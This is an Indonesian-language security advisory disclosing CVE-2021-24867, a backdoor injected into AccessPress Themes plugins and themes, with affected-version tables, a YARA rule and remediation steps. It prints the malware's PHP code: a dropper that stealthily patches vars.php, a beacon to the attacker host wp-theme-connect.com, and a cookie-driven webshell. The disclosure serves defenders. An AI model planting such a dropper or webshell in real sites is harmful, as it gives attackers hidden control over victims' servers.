Backdoor Ditemukan di Tema dan Plugin dari AccessPress Themes

Diterbitkan: 2022-01-19

Perbarui 1 Februari – Mengubah bagian "Tema yang terpengaruh" untuk mencerminkan bahwa versi baru dari tema mulai muncul.

Saat menyelidiki situs yang disusupi, kami menemukan beberapa kode mencurigakan dalam sebuah tema oleh AccessPress Themes (alias Access Keys), vendor dengan sejumlah besar tema dan plugin populer. Pada penyelidikan lebih lanjut, kami menemukan bahwa semua tema dan sebagian besar plugin dari vendor berisi kode yang mencurigakan ini, tetapi hanya jika diunduh dari situs web mereka sendiri. Ekstensi yang sama baik-baik saja jika diunduh atau diinstal langsung dari direktori WordPress.org.

Karena cara ekstensi disusupi, kami menduga penyerang eksternal telah melanggar situs web AccessPress Themes dalam upaya menggunakan ekstensi mereka untuk menginfeksi situs lebih lanjut.

Kami segera menghubungi vendor tersebut, namun pada awalnya kami tidak menerima tanggapan. Setelah mengeskalasikannya ke tim plugin WordPress.org, kecurigaan kami terbukti. Situs web AccessPress Themes dilanggar pada paruh pertama September 2021, dan ekstensi yang tersedia untuk diunduh di situs mereka disuntik dengan pintu belakang.

Setelah kami membuat saluran untuk berkomunikasi dengan vendor, kami membagikan temuan terperinci kami kepada mereka. Mereka segera menghapus ekstensi yang menyinggung dari situs web mereka.

Sebagian besar plugin telah diperbarui, dan versi bersih yang diketahui terdaftar di bagian bawah posting ini. Namun, tema yang terpengaruh belum diperbarui, dan diambil dari repositori tema WordPress.org. Jika Anda memiliki salah satu tema yang terdaftar di bagian bawah posting ini yang terpasang di situs Anda, kami sarankan untuk bermigrasi ke tema baru sesegera mungkin.

Pengungkapan ini menyangkut sejumlah besar ekstensi, baik plugin maupun tema. Lewati ke daftar di bawah ini, atau baca terus untuk detailnya.

Detail:

Vendor: AccessPress Tema
Url vendor: https://accesspressthemes.com
Plugin: banyak
Tema: banyak
CVE: CVE-2021-24867

Analisis:

Ekstensi yang terinfeksi berisi penetes untuk cangkang web yang memberi penyerang akses penuh ke situs yang terinfeksi. Dropper terletak di file inital.php terletak di plugin utama atau direktori tema. Saat dijalankan, instal webshell berbasis cookie di wp-includes/vars.php . Shell dipasang sebagai fungsi tepat di depan fungsi wp_is_mobile() dengan nama wp_is_mobile_fix() . Ini mungkin untuk tidak menimbulkan kecurigaan bagi siapa pun yang dengan santai menggulir file vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Setelah shell dipasang, penetes akan menelepon ke rumah dengan memuat gambar jarak jauh dari URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg dengan url situs yang terinfeksi dan informasi tentang tema mana yang digunakannya sebagai argumen kueri. Terakhir, ini akan menghapus file sumber penetes untuk menghindari deteksi saat permintaan selesai dieksekusi.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

Webshell itu sendiri terpicu jika string agen pengguna dalam permintaan adalah wp_is_mobile dan permintaan tersebut berisi delapan cookie tertentu. Ini menyatukan dan mengeksekusi muatan dari cookie yang disediakan ini.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Kami juga telah melihat varian lain, yang mungkin lebih tua, dari pintu belakang yang langsung disematkan di file functions.php tema/plugin. Varian ini menggunakan mekanisme yang sama dengan menyatukan muatan dari delapan cookie, tetapi tidak memfilter pada string agen pengguna permintaan.

Untuk memastikan dropper dijalankan, file plugin utama (untuk plugin) atau file functions.php (untuk tema) telah dimodifikasi dengan kode untuk mengeksekusi file inital.php jika ada.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Satu detail mencolok dari stempel waktu plugin yang disusupi adalah bahwa semuanya berasal dari awal September. Sebagian besar berasal dari 6 dan 7 September, dengan beberapa file dari 2 dan 3 September. Demikian pula untuk tema, semua dikompromikan pada 22 September, kecuali accessbuddy pada 9 September.

Juga, stempel waktu dalam arsip zip sangat seragam, dengan hampir semua file dengan stempel waktu yang sama persis, kecuali untuk file plugin utama yang dimodifikasi dan file penetes tambahan yang dicap beberapa menit kemudian (biasanya sekitar 2-5 menit setelahnya). file lain dalam arsip).

Namun, melihat stempel waktu untuk file zip yang diunduh dari repositori wordpress.org , kami menemukan distribusi stempel waktu yang sesuai dengan kapan plugin/tema benar-benar diperbarui. Distribusi stempel waktu dalam arsip juga kurang seragam dan mencerminkan file mana yang diperbarui dalam rilis, dan mana yang tidak berubah dari rilis yang lebih lama.

Ini menunjukkan kepada kami bahwa file dari situs web AccessPress Themes dimodifikasi dengan sengaja, dan sebagai tindakan terkoordinasi setelah awalnya dirilis. Kompromi tampaknya telah dilakukan dalam dua tahap, satu untuk plugin dan satu lagi untuk tema. Masing-masing dengan beberapa upaya sebelumnya, mungkin untuk menyempurnakan prosesnya.

Penyelidikan kami hanya melihat tema dan plugin yang tersedia secara bebas dari situs web AccessPress Themes. Kami berasumsi bahwa tema pro berbayar mereka terpengaruh dengan cara yang sama, tetapi kami belum memeriksanya. Jika Anda memiliki salah satu dari ini, silakan hubungi dukungan AccessPress Themes untuk saran lebih lanjut.

Tema yang terpengaruh

Jika Anda memiliki salah satu tema berikut dengan nomor versi di kolom Buruk yang terpasang di situs Anda, kami sarankan untuk segera memutakhirkan ke versi di kolom Bersih . Perlu dicatat bahwa tema yang diinstal melalui WordPress.org bersih, meskipun terdaftar di kolom Buruk . Kami masih menyarankan untuk meningkatkan ke versi bersih yang dikenal agar aman.

Tema tanpa nomor versi di kolom Bersihkan belum ditingkatkan versinya, dan kami sarankan untuk menggantinya dengan tema lain jika memungkinkan.

Siput tema Buruk Membersihkan
teman akses 1.0.0
accesspress-dasar 3.2.1 3.2.2
accesspress-lite 2.92 2.93
accesspress-mag 2.6.5 2.6.6
accesspress-paralaks 4,5 4.6
accesspress-ray 1.19.5
accesspress-root 2.5 2.6.0
accesspress-staple 1.9.1
accesspress-toko 2.4.9 2.5.0
agensi-lite 1.1.6 1.1.7
cakap 1.0.6
pesta pora 1.0.4 1.0.5
bloger 1.2.6 1.2.7
konstruksi-lite 1.2.5 1.2.6
doko 1.0.27 1.1.0
mencerahkan 1.3.5 1.3.6
toko pakaian 1.2.1
fotografi 2.4.0 2.4.1
gaga-corp 1.0.8
gaga-lite 1.4.2
satu-paze 2.2.8
paralaks-blog 3.1.1574941215
paralaksom 1.3.6 1.3.7
punte 1.1.2 1.1.3
berputar 1.3.1
riak 1.2.0 1.2.1
gulir saya 2.1.0
majalah olahraga 1.2.1
gudang 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
peluncur 1.3.2 1.3.3
hari senin 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-berita 1.0.5 1.0.6
zigcy-bayi 1.0.6 1.0.7
zigcy-kosmetik 1.0.5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tabel 1: Tema dan versi yang dikompromikan oleh serangan tersebut.

Plugin yang terpengaruh

Jika Anda memiliki salah satu plugin berikut dengan nomor versi di kolom Buruk yang terpasang di situs Anda, kami sarankan untuk segera memutakhirkan ke versi di kolom Bersih . Perlu dicatat bahwa plugin yang diinstal melalui WordPress.org bersih, bahkan jika mereka terdaftar di kolom Buruk . Kami masih menyarankan untuk meningkatkan ke versi bersih yang dikenal agar aman.

Plugin tanpa nomor versi di kolom Bersihkan belum ditingkatkan versinya, dan kami sarankan untuk menggantinya dengan plugin lain jika memungkinkan.

siput plugin Buruk Membersihkan Catatan
accesspress-anonim-posting 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-posting 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-sosial-counter 1.9.1 1.9.2
accesspress-sosial-ikon 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-posting 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
ak-menu-icons-lite 1.0.9
ap-pendamping 1.0.7 2
ap-kontak-form 1.0.6 1.0.7
ap-custom-testimonial 1.4.6 1.4.7
ap-mega-menu 3.0.5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
apex-notification-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
komentar-nonaktifkan-aksespress 1.0.7 1.0.8
tab-sisi-mudah-cta 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-coming-soon-lite 1.1.0 1.1.1
everest-comment-rating-lite 2.0.4 2.0.5
everest-counter-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-galeri-lite 1.0.8 1.0.9
everest-google-places-reviews-lite 1.0.9 2.0.0
everest-review-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
inline-ajakan bertindak-pembangun-lite 1.1.0 1.1.1
produk-slider-untuk-woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
smart-scroll-posting 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
total-gdpr-compliance-lite 1.0.4
total-team-lite 1.1.1 1.1.2
ultimate-author-box-lite 1.1.2 1.1.3
Ultimate-form-builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-slider 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-user-info 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp-mengambang-menu 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-popup-banner 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-produk-galeri-lite 1.1.1
Tabel 2: Plugin, versi yang dikompromikan oleh serangan serta versi bersih yang diketahui,

Catatan:

  1. Plugin ini belum diperbarui, tetapi diyakini bersih karena versi di situs web AccessPress Themes adalah versi yang lebih lama.
  2. Plugin ini belum diperbarui, tetapi diyakini bersih karena awalnya tidak tersedia di situs web AccessPress Themes.

IOC

Aturan YARA berikut dapat digunakan untuk memeriksa apakah situs telah terinfeksi. Ini akan mendeteksi bagian penetes infeksi serta webshell yang diinstal.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Rekomendasi

Jika Anda memiliki tema atau plugin yang diinstal langsung dari AccessPress Themes atau tempat lain selain WordPress.org, Anda harus segera meningkatkan versi ke versi yang aman seperti yang ditunjukkan pada tabel di atas. Jika tidak tersedia versi aman, ganti dengan versi terbaru dari WordPress.org.

Harap dicatat bahwa ini tidak menghapus pintu belakang dari sistem Anda, jadi Anda juga perlu menginstal ulang WordPress versi bersih untuk mengembalikan modifikasi file inti yang dilakukan selama pemasangan pintu belakang.

Jika Anda memiliki tema atau plugin berbayar dari AccessPress Themes/Access Keys, kami sarankan untuk menghubungi dukungan mereka untuk mendapatkan bantuan.

Kami sangat menyarankan Anda memiliki rencana keamanan untuk situs Anda yang mencakup pemindaian dan pencadangan file berbahaya. Jetpack Security adalah salah satu opsi keamanan WordPress yang bagus untuk memastikan situs dan pengunjung Anda aman. Jetpack Scan telah mendeteksi semua varian pintu belakang dan penetes ini sejak 30 September.

Linimasa

2021-09-22: Tim Jetpack Scan menemukan penetes dan pintu belakang dalam tema FotoGraphy, dan mencoba menghubungi vendor tentang temuan awal.

2021-09-27: Konfirmasikan keberadaan penetes + pintu belakang di semua plugin dan tema gratis saat ini yang diunduh dari situs web vendor.

2021-09-28: Konfirmasikan bahwa penetes + pintu belakang tidak ada pada unduhan dari wordpress.org

2021-09-29: Mencoba menghubungi vendor lagi, dengan pembaruan tentang temuan baru.

2021-10-14: Dieskalasi ke tim plugin WordPress untuk mencoba mendapatkan kontak dengan vendor.

2021-10-15: Ekstensi yang disusupi dihapus dari situs vendor.

2021-10-16: Tanggapan dari vendor

2022-01-17: Sebagian besar plugin telah ditingkatkan ke versi baru, tema telah ditarik dari WordPress.org.

2022-01-18 Pengungkapan publik